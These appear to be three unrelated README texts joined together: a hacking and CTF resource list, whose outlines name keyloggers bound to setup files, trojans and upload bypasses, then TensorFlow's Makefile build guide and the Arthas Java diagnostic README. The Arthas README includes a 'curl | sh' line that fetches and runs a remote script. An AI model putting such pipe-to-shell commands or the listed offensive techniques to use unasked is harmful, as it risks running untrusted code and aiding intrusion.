- [PentestMonkey's MSSQL SQLi injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
- ORACLE:
- [PentestMonkey's Oracle SQLi Cheatsheet](http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet)
- POSTGRESQL:
- [PentestMonkey's Postgres SQLi Cheatsheet](http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet)
- Others
- [Access SQLi Cheatsheet](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
- [PentestMonkey's Ingres SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet)
- [Pentestmonkey's DB2 SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet)
- [Pentestmonkey's Informix SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet)
- [SQLite3 Injection Cheat sheet](https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet)
- [Ruby on Rails (Active Record) SQL Injection Guide](http://rails-sqli.org/)
<h2>CTF</h2>
***Read my [CTF Resources](./CTF Resources/README.md) notes which is a simply managed and updated copy of information from [ctf/resources](https://github.com/ctfs/resources/ "https://github.com/ctfs/resources/") repository***
1. Practice:
1. [picoCTF](https://picoctf.com "https://picoctf.com")
2. [catb](http://www.catb.org/~esr/faqs/hacker-howto.html "http://www.catb.org/~esr/faqs/hacker-howto.html")
3. [OverTheWire](https://overthewire.org/wargames/ "https://overthewire.org/wargames/")
4. [Microcorruption](https://microcorruption.com/login "https://microcorruption.com/login")
5. [Google CTF](https://capturetheflag.withgoogle.com "https://capturetheflag.withgoogle.com")
6. [Crypto Challenges](https://cryptopals.com "https://cryptopals.com")
7. [CTFs](https://github.com/ctfs "https://github.com/ctfs")
8. [CTFlearn](https://ctflearn.com "https://ctflearn.com")
9. [Attack-Defend Style CTF](http://usscouts.org/games/game_cf.asp "http://usscouts.org/games/game_cf.asp")
10. [HSCTF 7](https://hsctf.com "https://hsctf.com")
11. [0xRick](https://0xrick.github.io "https://0xrick.github.io")
2. Read to Learn:
1. [CTF Field Guide](http://trailofbits.github.io/ctf/ "http://trailofbits.github.io/ctf/")
2. [DEF CON CTF](https://oooverflow.io "https://oooverflow.io")
3. [CTFTime](https://ctftime.org/ctfs "https://ctftime.org/ctfs")
4. [Awesome Guide](https://www.osusec.org/resources/ "https://www.osusec.org/resources/")
5. [Nightmare](https://guyinatuxedo.github.io "https://guyinatuxedo.github.io")
6. [CTF Resources](http://ctfs.github.io/resources/ "http://ctfs.github.io/resources/")
7. [Awesome CTF](https://github.com/apsdehal/awesome-ctf "https://github.com/apsdehal/awesome-ctf")
8. [Hacking Articles (walkthroughs)](https://www.hackingarticles.in/ctf-challenges-walkthrough/ "https://www.hackingarticles.in/ctf-challenges-walkthrough/")
9. [Antifa](https://github.com/AnarchoTechNYC/meta "https://github.com/AnarchoTechNYC/meta")
10. [Competition's Write-ups](https://nsec.io/competition-write-ups/ "https://nsec.io/competition-write-ups/")
11. [Pentesting Wiki](https://www.peerlyst.com/posts/resource-pentesting-wiki-nicole-lamoureux?fbclid=IwAR3ejbPKCOWvCVvP_PrTegfpwC3tn35Jwyx8g2W39c2CSt93TzDtvRo5Qyw "https://www.peerlyst.com/posts/resource-pentesting-wiki-nicole-lamoureux?fbclid=IwAR3ejbPKCOWvCVvP_PrTegfpwC3tn35Jwyx8g2W39c2CSt93TzDtvRo5Qyw")
12. [Practice CTF List](https://captf.com/practice-ctf/?fbclid=IwAR2V2YdeaRsIDwIs2ywCAHD577fyjMLEPz0ff54uOA9vnagZdRXyBJb6CpU "https://captf.com/practice-ctf/?fbclid=IwAR2V2YdeaRsIDwIs2ywCAHD577fyjMLEPz0ff54uOA9vnagZdRXyBJb6CpU")
13. [bugbounty-cheatsheet](https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/books.md "https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/books.md")
14. [Resources](https://www.vulnhub.com/resources/ "https://www.vulnhub.com/resources/")
15. [Hack the Box (HTB) machines walkthrough series](https://resources.infosecinstitute.com/hack-the-box-htb-walkthrough-secnotes/ "https://resources.infosecinstitute.com/hack-the-box-htb-walkthrough-secnotes/")
16. [0xdf](https://0xdf.gitlab.io "https://0xdf.gitlab.io")
<h2>CTF Framework</h2>
---
1. https://ctfd.io
2. [Facebook’s CTF framework](https://github.com/facebook/fbctf "https://github.com/facebook/fbctf")
3. [iCTF](https://github.com/ucsb-seclab/ictf-framework "https://github.com/ucsb-seclab/ictf-framework")
4. [Mellivora](https://github.com/Nakiami/mellivora "https://github.com/Nakiami/mellivora")
5. [NightShade](https://github.com/UnrealAkama/NightShade "https://github.com/UnrealAkama/NightShade")
6. [LibreCTF](https://github.com/easyctf/librectf "https://github.com/easyctf/librectf")
<h2></br>Hacker101 Syllabus</h2>
---
1. HTTP basics
2. Cookie Security
3. HTML Parsing
4. MIME Sniffing
5. Encoding Sniffing
6. Same-origin
7. Cross-site request forgery (CSRF)
8. Cross-site scripting
1. Reflected
2. Stored
3. DOM
4. Detection, exploitation and Mitigation
9. Authorization bypasses and forced browsing
10. Directory Traversal
11. Command Injection
12. SQL Injection
1. Detection, exploitation and mitigation
2. Exploiting blind SQLi
13. Session Fixation
14. Clickjacking
15. File inclusion and upload vulnerabilities
16. Null termination vulnerabilities
17. Unchecked redirects
18. Secure password storage
19. Crypto crash
1. XOR
- Symmetric ciphers
- Stream
- Block
2. Asymmetric ciphers
3. Hashes
4. MACs
20. Crypto attacks
- Stream cipher reuse
- ECB block reordering
- ECB partial decryption
- Padding oracles
- Hash length extension
21. Crypto tricks
- Detecting ECB
- Determining block sizes
- Determining controllable data
offsets
22. Lightweight Threat Modeling
23. Secure Architecture Review
24. SSRF
25. Source Review Techniques
26. Cookie Tampering Techniques & XML External Entity Attack
27. Burp Suite
- Setting up Burp proxy
- Introduction to Burp Suite
- Intermediate Burp Suite
Techniques
- Advanced Burp Hacks for
Bounty Hunters
<h2></br>Random Collected Topics</h2>
<h3>Footprinting and Information Gathering</h3>
---
1. From Social Media
2. Web server `whois`
3. Subdomain
4. Reserved IP Location
5. Which platform used for developing
6. Ping to identify server details
7. Collecting Information from Email Header
8. Email Tracking Tools
9. Tracking of a target person
10. Website Cookies history
11. Recover any deleted files. [ PC or Mobile]
<h3>PHP and SQL</h3>
---
1. Learn Web Attacking Method
2. SQL Injection
3. Session Hijacking
4. Server Exploit
5. Bypass
6. Shell upload
1. private
2. legal
7. Compromising Session
1. using Sniffing
2. predicting Session Token
<h3>System Hacking</h3>
---
1. Password cracking method
1. All possible
2. Default
3. Guessing
2. Keylogger
1. Ardamax
2. Hardware
* Binding with real setup file
3. Spyware
<h3>Malware</h3>
---
1. Trojan
2. Batch-programming
3. Server shell
4. File extension viruses
5. Backdoors virus
<h3>Social Engineering</h3>
---
1. Phishing
2. CSRF and XSS
<h3>Denial of Service(DOS)</h3>
---
<h3>SQL Injection</h3>
---
1. Blind SQL
2. POST base
3. WAF Bypass
4. Error base
<h3>Evading IDS, Firewalls, and Honeypots</h3>
---
1. Remote and Local file inclusion (RFI and LFI)
Malicious File Upload
This is an important and common attack vector in this type of testing.
A file upload functions need a lot of protections to be adequately secure.
Attacks:
1. Upload unexpected file format to achieve code exec (swf, html, php, php3, aspx, ++) Web shells or...
2. Execute XSS via same types of files. Images as well!
3. Attack the parser to DOS the site or XSS via storing payloads in metadata or file header
4. Bypass security zones and store malware on target site via file polyglots
File upload attacks are a whole presentation. Try this one to get a feel for bypass techniques:
5. content type spoofing
6. extension trickery
- [File in the hole! presentaion](https://www.nds.rub.de/media/attachments/files/2012/11/File-in-the-hole.pdf)
As referenced file polyglots can be used to store malware on servers!
[See @dan_crowley ‘s talk](http://goo.gl/pquXC2)
[and @angealbertini research:](corkami.com)
2. X-path
3. Cryptography
<h3>Scanning Networks Web Server</h3>
---
1. Nmap
2. VEGA
3. Acunetix
<h3>Attack</h3>
---
1. Login Page Injection
2. Cross site scripting
3. Bypass it
4. Authentication Bypass
5. Cookie Injection
6. Man-in-the-Middle
<h3>Extra</h3>
---
1. HTML and CSS Injection
2. Remote code execution and Directory Traversing
3. Android Keylogger
4. Steganography
5. [HackTheKeyboard](https://github.com/Sumeet-R/HackTheKeyboard?fbclid=IwAR0ZU10Pdbt9r6_8bgcWM6fnUBjFyiuntCyjIDTNxsB5E1k4lTIF3LLQFHU "https://github.com/Sumeet-R/HackTheKeyboard?fbclid=IwAR0ZU10Pdbt9r6_8bgcWM6fnUBjFyiuntCyjIDTNxsB5E1k4lTIF3LLQFHU")
<h3>Exam Preparation</h3>
----
1. [OSCP-Prep](https://github.com/RustyShackleford221/OSCP-Prep "https://github.com/RustyShackleford221/OSCP-Prep")
# Book List
***[Alphabetically Ordered]()***
1. Burp Suite
1. [Burp Suite Cookbook by Sunny Wear](./Burp%20Suite/Burp%20Suite%20Cookbook.pdf)
2. Cryptography
1. [Algorithmic Cryptanalysis by Antoine Joux](./Cryptograpy/Algorithmic%20Cryptanalysis.pdf)
2. [Handbook of Applied Cryptography by Menezes, Oorschot & Vanstone](Handbook%20of%20applied%20cryptography.pdf)
3. Networking
1. [Computer Networking Problems and Solutions by Russ White and Ethan Banks](./Networking/Computer%20Networking%20Problems.pdf)
2. [Computer Networks by Tanenbaum & Wetherall](./Netwoking/Computer%20Networks.pdf)
3. [Guide to Network Programming by Beej](./Networking/Guide%20to%20Network%20Programming.pdf)
4. [Network Scanning Cookbook by Sairam Jetty](./Networking/Network%20Scanning%20Cookbook .pdf)
5. [Networking All in One for Dummies by Doug Lowe](./Networking/Networking%20All%20in%20One%20for%20Dummies.pdf)
6. [Networking Fundamentals by Gordon Davies](./Networking/Networking%20Fundamentals.pdf)
7. [Seven Deadliest Network Attacks by Prowell, Borkin & Kraus](./Networking/Seven%20Deadliest%20%Network%20Attacks.pdf)
8. [SSH The Secure Shell - The Definitive Guide by Silverman & Barrett](SSH%20The%20Secure%20Shell%20-%20The%20Definitive%20Guide.pdf)
9. [The Only Ip Book You Will Ever Need Unraveling The Mysteries Of Ipv4 Ipv6 by Diaz](./Networking/The%20Only%20Ip%20Book%20You%20Will%20Ever%20Need%20Unraveling%20The%20Mysteries%20Of%20Ipv4%20Ipv6.pdf)
4. Nmap
1. [Mastering Nmap Scripting Engine by Paulino Calderon Pale](./Nmap%20Books/Mastering%20Nmap%20Scripting%20Engine.pdf)
2. [Nmap - Network Exploration and Security Auditing Cookbook by Paulino Calderon](./Nmap%20Books/Nmap%20-%20Network%20Exploration%20and%20Security%20Auditing%20Cookbook.epub)
3. [Nmap Essentials by David Shaw](./Nmap%20Books/Nmap%20Essentials.epub)
4. [Nmap in the Enterprise: Your Guide to Network Scanning by Angela Orebaugh, Becky Pinkard](./Nmap%20Books/Nmap%20in%20the%20Enterprise%20Your%20Guide%20to%20Network%20Scanning.pdf)
5. [Nmap7 - From Beginner to Pro by Nicholas Brown](./Nmap%20Books/Nmap7%20-%20From%20Beginner%20to%20Pro.epub)
6. [Quick Start Guide to Penetration Testing With NMAP, OpenVAS and Metasploit](./Nmap%20Books/Quick%20Start%20Guide%20to%20Penetration%20Testing%20With%20NMAP,%20OpenVAS%20and%20Metasploit.epub)
5. Termux
1. [Termux Tutorials by Techncyber](./Termux/Termux%20Tutorials%20by%20Techncyber.pdf)
|
### TensorFlow Makefile
The recommended way to build TensorFlow from source is using the Bazel
open-source build system. Sometimes this isn't possible. For example,
if you are building for iOS, you currently need to use the Makefile.
- The build system may not have the RAM or processing power to support Bazel.
- Bazel or its dependencies may not be available.
- You may want to cross-compile for an unsupported target system.
This experimental project supplies a Makefile automatically derived from the
dependencies listed in the Bazel project that can be used with GNU's make tool.
With it, you can compile the core C++ runtime into a static library.
This static library will not contain:
- Python or other language bindings
- GPU support
You can target:
- iOS
- OS X (macOS)
- Android
- Raspberry-PI
You will compile tensorflow and protobuf libraries that you can link into other
applications. You will also compile the [benchmark](../../tools/benchmark/)
application that will let you check your application.
## Before you start (all platforms)
First, clone this TensorFlow repository.
You will need to download all dependencies as well. We have provided a script
that does so, to be run (as with all commands) **at the root of the repository**:
```bash
tensorflow/contrib/makefile/download_dependencies.sh
```
You should only need to do this step once. It downloads the required libraries
like Eigen in the `tensorflow/contrib/makefile/downloads/` folder.
You should download the example graph from [https://storage.googleapis.com/download.tensorflow.org/models/inception5h.zip](https://storage.googleapis.com/download.tensorflow.org/models/inception5h.zip).
## Building on Linux
_Note: This has only been tested on Ubuntu._
As a first step, you need to make sure the required packages are installed:
```bash
sudo apt-get install autoconf automake libtool curl make g++ unzip zlib1g-dev \
git python
```
You should then be able to run the `build_all_linux.sh` script to compile:
```bash
tensorflow/contrib/makefile/build_all_linux.sh
```
This should compile a static library in
`tensorflow/contrib/makefile/gen/lib/libtensorflow-core.a`,
and create an example executable at `tensorflow/contrib/makefile/gen/bin/benchmark`.
Get the graph file, if you have not already:
```bash
mkdir -p ~/graphs
curl -o ~/graphs/inception.zip \
https://storage.googleapis.com/download.tensorflow.org/models/inception5h.zip \
&& unzip ~/graphs/inception.zip -d ~/graphs/inception
```
To run the executable, use:
```bash
tensorflow/contrib/makefile/gen/bin/benchmark \
--graph=$HOME/graphs/inception/tensorflow_inception_graph.pb
```
## Android
First, you will need to download and unzip the
[Native Development Kit (NDK)](https://developer.android.com/ndk/). You will not
need to install the standalone toolchain, however.
Assign your NDK location to $NDK_ROOT:
```bash
export NDK_ROOT=/absolute/path/to/NDK/android-ndk-rxxx/
```
Download the graph if you haven't already:
```bash
mkdir -p ~/graphs
curl -o ~/graphs/inception.zip \
https://storage.googleapis.com/download.tensorflow.org/models/inception5h.zip \
&& unzip ~/graphs/inception.zip -d ~/graphs/inception
```
Then, execute the following:
```bash
tensorflow/contrib/makefile/download_dependencies.sh
tensorflow/contrib/makefile/compile_android_protobuf.sh -c
export HOST_NSYNC_LIB=`tensorflow/contrib/makefile/compile_nsync.sh`
export TARGET_NSYNC_LIB=`CC_PREFIX="${CC_PREFIX}" NDK_ROOT="${NDK_ROOT}" \
tensorflow/contrib/makefile/compile_nsync.sh -t android -a armeabi-v7a`
make -f tensorflow/contrib/makefile/Makefile TARGET=ANDROID
```
At this point, you will have compiled libraries in `gen/lib/*` and the
[benchmark app](../../tools/benchmark) compiled for Android.
Run the benchmark by pushing both the benchmark and the graph file to your
attached Android device:
```bash
adb push ~/graphs/inception/tensorflow_inception_graph.pb /data/local/tmp/
adb push tensorflow/contrib/makefile/gen/bin/benchmark /data/local/tmp/
adb shell '/data/local/tmp/benchmark \
--graph=/data/local/tmp/tensorflow_inception_graph.pb \
--input_layer="input:0" \
--input_layer_shape="1,224,224,3" \
--input_layer_type="float" \
--output_layer="output:0"
'
```
For more details, see the [benchmark documentation](../../tools/benchmark).
## iOS
_Note: To use this library in an iOS application, see related instructions in
the [iOS examples](../../examples/ios/) directory._
Install XCode 7.3 or more recent. If you have not already, you will need to
install the command-line tools using `xcode-select`:
```bash
xcode-select --install
```
If this is a new install, you will need to run XCode once to agree to the
license before continuing.
(You will also need to have [Homebrew](http://brew.sh/) installed.)
Then install [automake](https://en.wikipedia.org/wiki/Automake)/[libtool](https://en.wikipedia.org/wiki/GNU_Libtool):
```bash
brew install automake
brew install libtool
```
Also, download the graph if you haven't already:
```bash
mkdir -p ~/graphs
curl -o ~/graphs/inception.zip \
https://storage.googleapis.com/download.tensorflow.org/models/inception5h.zip \
&& unzip ~/graphs/inception.zip -d ~/graphs/inception
```
### Building all at once
If you just want to get the libraries compiled in a hurry, you can run this
from the root of your TensorFlow source folder:
```bash
tensorflow/contrib/makefile/build_all_ios.sh
```
This process will take around twenty minutes on a modern MacBook Pro.
When it completes, you will have a unified library for all architectures
(i386sim, x86_64sim, armv7, armv7s and arm64) and the benchmark program.
Although successfully compiling the benchmark program is a
sign of success, the program is not a complete iOS app.
If you would only like to build only one architecture to save time:
(iOS 11+ only supports 64bit so you can get away with arm64)
```bash
tensorflow/contrib/makefile/build_all_ios.sh -a arm64
```
After the first build if you would like to just build the tensorflow
library you can pass the -T flag to avoid a clean & rebuild. This should
take you just a few seconds to generate the library if you modified one file.
```bash
tensorflow/contrib/makefile/build_all_ios.sh -a arm64 -T
```
To see TensorFlow running on iOS, the example Xcode project in
[tensorflow/examples/ios](../../examples/ios/) shows how to use the static
library in a simple app.
### Building by hand
This section covers each step of building. For all the code in one place, see
[build_all_ios.sh](build_all_ios.sh).
If you have not already, you will need to download dependencies:
```bash
tensorflow/contrib/makefile/download_dependencies.sh
```
Next, you will need to compile protobufs for iOS (optionally takes the -a $ARCH flag):
```bash
tensorflow/contrib/makefile/compile_ios_protobuf.sh
```
Then, you will need to compile the nsync library for iOS (optionally takes -a $ARCH flag):
```bash
export HOST_NSYNC_LIB=`tensorflow/contrib/makefile/compile_nsync.sh`
export TARGET_NSYNC_LIB=`tensorflow/contrib/makefile/compile_nsync.sh -t ios`
```
Then, you can run the makefile specifying iOS as the target, along with the
architecture you want to build for:
```bash
make -f tensorflow/contrib/makefile/Makefile \
TARGET=IOS \
IOS_ARCH=ARM64
```
This creates a library in
`tensorflow/contrib/makefile/gen/lib/libtensorflow-core.a` that you can link any
xcode project against.
To see TensorFlow running on iOS, the example Xcode project in
[tensorflow/examples/ios](../../examples/ios/) shows how to use the static
library in a simple app.
#### Universal binaries
In some situations, you will need a universal library. In that case, you will
still need to run `compile_ios_protobuf.sh` and `compile_nsync.sh`, but this
time follow it with:
```bash
compile_ios_tensorflow.sh
```
`compile_ios_tensorflow.sh` takes the -a flag to build only for one architecture.
In case you run into issues with unresolved symbols with nsync you can also pass
-h ${HOST_NSYNC_LIB} and -n {TARGET_NSYNC_LIB} so it would look like:
```bash
tensorflow/contrib/makefile/compile_ios_tensorflow.sh -f "-O3" -h tensorflow/contrib/makefile/downloads/nsync/builds/default.macos.c++11/nsync.a -n tensorflow/contrib/makefile/downloads/nsync/builds/lipo.ios.c++11/nsync.a -a arm64
```
In XCode, you will need to use -force_load in the linker flags
section of the build settings to pull in the global constructors that are used
to register ops and kernels.
#### Optimization
The `compile_ios_tensorflow.sh` script can take optional command-line arguments.
The first argument will be passed as a C++ optimization flag and defaults to
debug mode. If you are concerned about performance or are working on a release
build, you would likely want a higher optimization setting, like so:
```bash
compile_ios_tensorflow.sh -f "-Os"
```
For other variations of valid optimization flags, see [clang optimization levels](http://stackoverflow.com/questions/15548023/clang-optimization-levels).
## Raspberry Pi
Building on the Raspberry Pi is similar to a normal Linux system. First
download the dependencies, install the required packages and build protobuf:
```bash
tensorflow/contrib/makefile/download_dependencies.sh
sudo apt-get install -y autoconf automake libtool gcc-4.8 g++-4.8
cd tensorflow/contrib/makefile/downloads/protobuf/
./autogen.sh
./configure
make
sudo make install
sudo ldconfig # refresh shared library cache
cd ../../../../..
export HOST_NSYNC_LIB=`tensorflow/contrib/makefile/compile_nsync.sh`
export TARGET_NSYNC_LIB="$HOST_NSYNC_LIB"
```
Once that's done, you can use make to build the library and example:
```bash
make -f tensorflow/contrib/makefile/Makefile HOST_OS=PI TARGET=PI OPTFLAGS="-Os" CXX=g++-4.8
```
If you're only interested in building for Raspberry Pi's 2 and 3, you can supply
some extra optimization flags to give you code that will run faster:
```bash
make -f tensorflow/contrib/makefile/Makefile HOST_OS=PI TARGET=PI \
OPTFLAGS="-Os -mfpu=neon-vfpv4 -funsafe-math-optimizations -ftree-vectorize" CXX=g++-4.8
```
One thing to be careful of is that the gcc version 4.9 currently installed on
Jessie by default will hit an error mentioning `__atomic_compare_exchange`. This
is why the examples above specify `CXX=g++-4.8` explicitly, and why we install
it using apt-get. If you have partially built using the default gcc 4.9, hit the
error and switch to 4.8, you need to do a
`make -f tensorflow/contrib/makefile/Makefile clean` before you build. If you
don't, the build will appear to succeed but you'll encounter [malloc(): memory corruption errors](https://github.com/tensorflow/tensorflow/issues/3442)
when you try to run any programs using the library.
For more examples, look at the tensorflow/contrib/pi_examples folder in the
source tree, which contains code samples aimed at the Raspberry Pi.
# Other notes
## Supported Systems
The Make script has been tested on Ubuntu and OS X. If you look in the Makefile
itself, you'll see it's broken up into host and target sections. If you are
cross-compiling, you should look at customizing the target settings to match
what you need for your desired system.
## Dependency Management
The Makefile loads in a list of dependencies stored in text files. These files
are generated from the main Bazel build by running
`tensorflow/contrib/makefile/gen_file_lists.sh`. You'll need to re-run this i
you make changes to the files that are included in the build.
Header dependencies are not automatically tracked by the Makefile, so if you
make header changes you will need to run this command to recompile cleanly:
```bash
make -f tensorflow/contrib/makefile/Makefile clean
```
### Cleaning up
In some situations, you may want to completely clean up. The dependencies,
intermediate stages, and generated files are stored in:
```bash
tensorflow/contrib/makefile/downloads
tensorflow/contrib/makefile/gen
```
Those directories can safely be removed, but you will have to start over with
`download_dependencies.sh` once you delete them.
### Fixing Makefile Issues
Because the main development of TensorFlow is done using Bazel, changes to the
codebase can sometimes break the makefile build process. If you find that tests
relying on this makefile are failing with a change you're involved in, here are
some trouble-shooting steps:
- Try to reproduce the issue on your platform. If you're on Linux, running
`make -f tensorflow/contrib/makefile/Makefile` should be enough to recreate
most issues. For other platforms, see the sections earlier in this document.
- The most common cause of breakages are files that have been added to the
Bazel build scripts, but that the makefile isn't aware of. Typical symptoms
of this include linker errors mentioning missing symbols or protobuf headers
that aren't found. To address these problems, take a look at the *.txt files
in `tensorflow/contrib/makefile`. If you have a new operator, you may need to
add it to `tf_op_files.txt`, or for a new proto to `tf_proto_files.txt`.
- There's also a wildcard system in `Makefile` that defines what core C++ files
are included in the library. This is designed to match the equivalent rule in
`tensorflow/core/BUILD`, so if you change the wildcards there to include new
files you'll need to also update `CORE_CC_ALL_SRCS` and `CORE_CC_EXCLUDE_SRCS`
in the makefile.
- Some of the supported platforms use clang instead of gcc as their compiler,
so if you're hitting compile errors you may need to tweak your code to be more
friendly to different compilers by avoiding gcc extensions or idioms.
These are the most common reasons for makefile breakages, but it's also
possible you may hit something unusual, like a platform incompatibility. For
those, you'll need to see if you can reproduce the issue on that particular
platform and debug it there. You can also reach out to the broader TensorFlow
team by [filing a Github issue](https://github.com/tensorflow/tensorflow/issues)
to ask for help.
|
## Arthas
[](https://travis-ci.org/alibaba/arthas)
[](https://codecov.io/gh/alibaba/arthas)
[](http://isitmaintained.com/project/alibaba/arthas "Average time to resolve an issue")
[](http://isitmaintained.com/project/alibaba/arthas "Percentage of issues still open")
`Arthas` is a Java Diagnostic tool open sourced by Alibaba.
Arthas help developers in trouble-shooting production issues for Java applications without modifying code or restarting servers.
[中文说明/Chinese Documentation](README_CN.md)
### Background
Often times, the production system network is inaccessible from local development environment. If issues are encountered in production systems, it is impossible to use IDE to debug the application remotely. More importantly, debugging in production environment is unacceptable, as it will suspend all the threads, which leads to blocking of business services.
Developers could always try to reproduce the same issue on the test/staging environment. However, this is tricky as some issues cannot be be reproduced easily on a different environment, or even disappear once restarted.
And if you're thinking of adding some logs to your code to help trouble-shoot the issue, you will have to go through the following lifecycle; test, staging, and then to production. Time is money! This approach is inefficient! Besides, the issue may not be reproducible once the JVM is restarted, as described above.
Arthas was built to solve these issues. A developer can trouble-shoot your production issues on-the-fly. No JVM restart, no additional code changes. Arthas works as an observer, which will never suspend your existing threads.
### Key features
* Check whether a class is loaded? Or where the class is loaded from? (Useful for trouble-shooting jar file conflicts)
* Decompile a class to ensure the code is running as expected.
* View classloader statistics, e.g. the number of classloaders, the number of classes loaded per classloader, the classloader hierarchy, possible classloader leaks, etc.
* View the method invocation details, e.g. method parameter, return object, thrown exception, and etc.
* Check the stack trace of specified method invocation. This is useful when a developers wants to know the caller of the said method.
* Trace the method invocation to find slow sub-invocations.
* Monitor method invocation statistics, e.g. qps, rt, success rate and etc.
* Monitor system metrics, thread states and cpu usage, gc statistics, and etc.
* Supports command line interactive mode, with auto-complete feature enabled.
* Supports telnet and websocket, which enables both local and remote diagnostics with command line and browsers.
* Supports JDK 6+
* Supports Linux/Mac/Windows
### Quick start
#### Use `arthas-boot`(Recommend)
Download`arthas-boot.jar`，Start with `java` command:
```bash
wget https://alibaba.github.io/arthas/arthas-boot.jar
java -jar arthas-boot.jar
```
Print usage:
```bash
java -jar arthas-boot.jar -h
```
#### Use `as.sh`
You can install Arthas with one single line command on Linux, Unix, and Mac. Pls. copy the following command and paste it into the command line, then press *Enter* to run:
```bash
curl -L https://alibaba.github.io/arthas/install.sh | sh
```
The command above will download the bootstrap script `as.sh` to the current directory. You can move it the any other place you want, or put its location in `$PATH`.
You can enter its interactive interface by executing `as.sh`, or execute `as.sh -h` for more help information.
### Documentation
* [User manual](https://alibaba.github.io/arthas/en)
* [Installation](https://alibaba.github.io/arthas/en/install-detail.html)
* [Quick start](https://alibaba.github.io/arthas/en/quick-start.html)
* [Advanced usage](https://alibaba.github.io/arthas/en/advanced-use.html)
* [Commands](https://alibaba.github.io/arthas/en/commands.html)
* [Docker](https://alibaba.github.io/arthas/en/docker.html)
* [User cases](https://github.com/alibaba/arthas/issues?q=label%3Auser-case)
* [Questions and answers](https://github.com/alibaba/arthas/issues?utf8=%E2%9C%93&q=label%3Aquestion-answered+)
* [How to contribute](https://github.com/alibaba/arthas/blob/master/CONTRIBUTING.md)
* [Release Notes](https://alibaba.github.io/arthas/en/release-notes.html)
### Feature Showcase
#### Dashboard
* https://alibaba.github.io/arthas/en/dashboard
#### Thread
See what is eating your cpu (ranked by top cpu usage) and what is going on there in one glance:
```
$ thread -n 3
"as-command-execute-daemon" Id=29 cpuUsage=75% RUNNABLE
at sun.management.ThreadImpl.dumpThreads0(Native Method)
at sun.management.ThreadImpl.getThreadInfo(ThreadImpl.java:440)
at com.taobao.arthas.core.command.monitor200.ThreadCommand$1.action(ThreadCommand.java:58)
at com.taobao.arthas.core.command.handler.AbstractCommandHandler.execute(AbstractCommandHandler.java:238)
at com.taobao.arthas.core.command.handler.DefaultCommandHandler.handleCommand(DefaultCommandHandler.java:67)
at com.taobao.arthas.core.server.ArthasServer$4.run(ArthasServer.java:276)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
at java.lang.Thread.run(Thread.java:745)
Number of locked synchronizers = 1
- java.util.concurrent.ThreadPoolExecutor$Worker@6cd0b6f8
"as-session-expire-daemon" Id=25 cpuUsage=24% TIMED_WAITING
at java.lang.Thread.sleep(Native Method)
at com.taobao.arthas.core.server.DefaultSessionManager$2.run(DefaultSessionManager.java:85)
"Reference Handler" Id=2 cpuUsage=0% WAITING on java.lang.ref.Reference$Lock@69ba0f27
at java.lang.Object.wait(Native Method)
- waiting on java.lang.ref.Reference$Lock@69ba0f27
at java.lang.Object.wait(Object.java:503)
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:133)
```
#### jad
Decompile your class with one shot:
```java
$ jad javax.servlet.Servlet
ClassLoader:
+-java.net.URLClassLoader@6108b2d7
+-sun.misc.Launcher$AppClassLoader@18b4aac2
+-sun.misc.Launcher$ExtClassLoader@1ddf84b8
Location:
/Users/xxx/work/test/lib/servlet-api.jar
/*
* Decompiled with CFR 0_122.
*/
package javax.servlet;
import java.io.IOException;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
public interface Servlet {
public void init(ServletConfig var1) throws ServletException;
public ServletConfig getServletConfig();
public void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException;
public String getServletInfo();
public void destroy();
}
```
#### sc
Search any loaded class with detailed information.
```
$ sc -d org.springframework.web.context.support.XmlWebApplicationContext
class-info org.springframework.web.context.support.XmlWebApplicationContext
code-source /Users/xxx/work/test/WEB-INF/lib/spring-web-3.2.11.RELEASE.jar
name org.springframework.web.context.support.XmlWebApplicationContext
isInterface false
isAnnotation false
isEnum false
isAnonymousClass false
isArray false
isLocalClass false
isMemberClass false
isPrimitive false
isSynthetic false
simple-name XmlWebApplicationContext
modifier public
annotation
interfaces
super-class +-org.springframework.web.context.support.AbstractRefreshableWebApplicationContext
+-org.springframework.context.support.AbstractRefreshableConfigApplicationContext
+-org.springframework.context.support.AbstractRefreshableApplicationContext
+-org.springframework.context.support.AbstractApplicationContext
+-org.springframework.core.io.DefaultResourceLoader
+-java.lang.Object
class-loader +-org.apache.catalina.loader.ParallelWebappClassLoader
+-java.net.URLClassLoader@6108b2d7
+-sun.misc.Launcher$AppClassLoader@18b4aac2
+-sun.misc.Launcher$ExtClassLoader@1ddf84b8
classLoaderHash 25131501
```
#### stack
View the call stack of `test.arthas.TestStack#doGet`:
```
$ stack test.arthas.TestStack doGet
Press Ctrl+C to abort.
Affect(class-cnt:1 , method-cnt:1) cost in 286 ms.
ts=2018-09-18 10:11:45;thread_name=http-bio-8080-exec-10;id=d9;is_daemon=true;priority=5;TCCL=org.apache.catalina.loader.ParallelWebappClassLoader@25131501
@test.arthas.TestStack.doGet()
at javax.servlet.http.HttpServlet.service(HttpServlet.java:624)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:731)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:303)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
